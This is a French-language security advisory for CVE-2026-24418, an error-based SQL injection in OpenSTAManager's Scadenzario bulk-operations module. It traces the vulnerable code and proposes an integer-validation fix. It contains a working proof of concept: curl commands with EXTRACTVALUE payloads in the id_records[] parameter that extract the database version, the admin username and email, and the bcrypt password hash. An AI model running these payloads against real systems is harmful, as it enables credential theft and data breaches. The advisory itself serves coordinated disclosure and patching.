
CVE-2026-24418 - OpenSTAManager has a SQL Injection vulnerability in the Scadenzario bulk operations module
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-24418 |
| Sévérité | ÉLEVÉE |
| Avis de sécurité | Voir l'avis |
| Découvert par | Lukasz Rybak |
Vulnérabilité critique d'injection SQL basée sur les erreurs dans le module d'opérations en masse de Scadenzario (Calendrier des paiements) d'OpenSTAManager v2.9.8. Elle permet aux attaquants authentifiés d'extraire l'intégralité du contenu de la base de données, y compris les identifiants utilisateur, les données personnelles des clients et les enregistrements financiers, via des messages d'erreur XML.
Statut : ✅ Confirmée et testée sur une instance en production (v2.9.8)
Paramètre vulnérable : id_records[] (tableau POST)
Point de terminaison affecté : /actions.php?id_module=18 (module Scadenzario)
Type d'attaque : Injection SQL basée sur les erreurs (clause IN)
OpenSTAManager v2.9.8 contient une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Calendrier des paiements). L'application ne parvient pas à valider que les éléments du tableau id_records sont des entiers avant de les utiliser dans une clause SQL IN(), ce qui permet à un attaquant d'injecter des commandes SQL arbitraires et d'extraire des données sensibles via des messages d'erreur XPATH.
Chaîne de vulnérabilité :
Point d'entrée : /actions.php (Lignes 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
La fonction array_clean() supprime uniquement les valeurs vides — elle ne valide PAS les types.
Fonction vulnérable : /lib/util.php (Lignes 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Impact : La fonction filtre les valeurs vides mais accepte toute valeur non vide, y compris les charges utiles d'injection SQL.
Point d'injection SQL : /modules/scadenzario/bulk.php (Ligne 88) VULNÉRABILITÉ PRINCIPALE
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Analyse de la cause racine :
La vulnérabilité existe car :
post('id_records') retourne un tableau contrôlé par l'utilisateurarray_clean() supprime uniquement les valeurs vides, pas les valeurs non entièresimplode(',', $id_records) concatène directement les éléments du tableau dans la requête SQLid_records[]=1&id_records[]=(SQL MALVEILLANT)#Chemin de code affecté :
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [AUCUNE VALIDATION DE TYPE]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [POINT D'INJECTION]
Étape 1 : Connexion
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Étape 2 : Vérifier la vulnérabilité (Injection SQL basée sur les erreurs)
Test 1 : Extraire l'utilisateur et la version de la base de données
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Réponse (message d'erreur visible par l'attaquant) :
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Test 2 : Extraire les identifiants administrateur
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Réponse :
<code>XPATH syntax error: '~admin:[email protected]'</code>
Test 3 : Extraire le hachage du mot de passe (Partie 1 – 31 premiers caractères)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Réponse :
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Test 4 : Extraire le hachage du mot de passe (Partie 2 – caractères 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Réponse :
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Hachage de mot de passe combiné :
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
Tous les utilisateurs authentifiés ayant accès aux opérations en masse du module Scadenzario (Calendrier des paiements).
Correction recommandée :
Correctif principal – Validation de type :
Fichier : /modules/scadenzario/bulk.php
AVANT (vulnérable – Ligne 88) :
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
APRÈS (corrigé) :
// Valider que tous les éléments du tableau sont des entiers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Supprimer les identifiants nuls ou négatifs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Découvert par Łukasz Rybak
Cette CVE a été divulguée de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.
Impact : Les éléments du tableau $id_records sont directement concaténés à l'aide de implode() sans validation de type ni prepare(), permettant une injection SQL complète.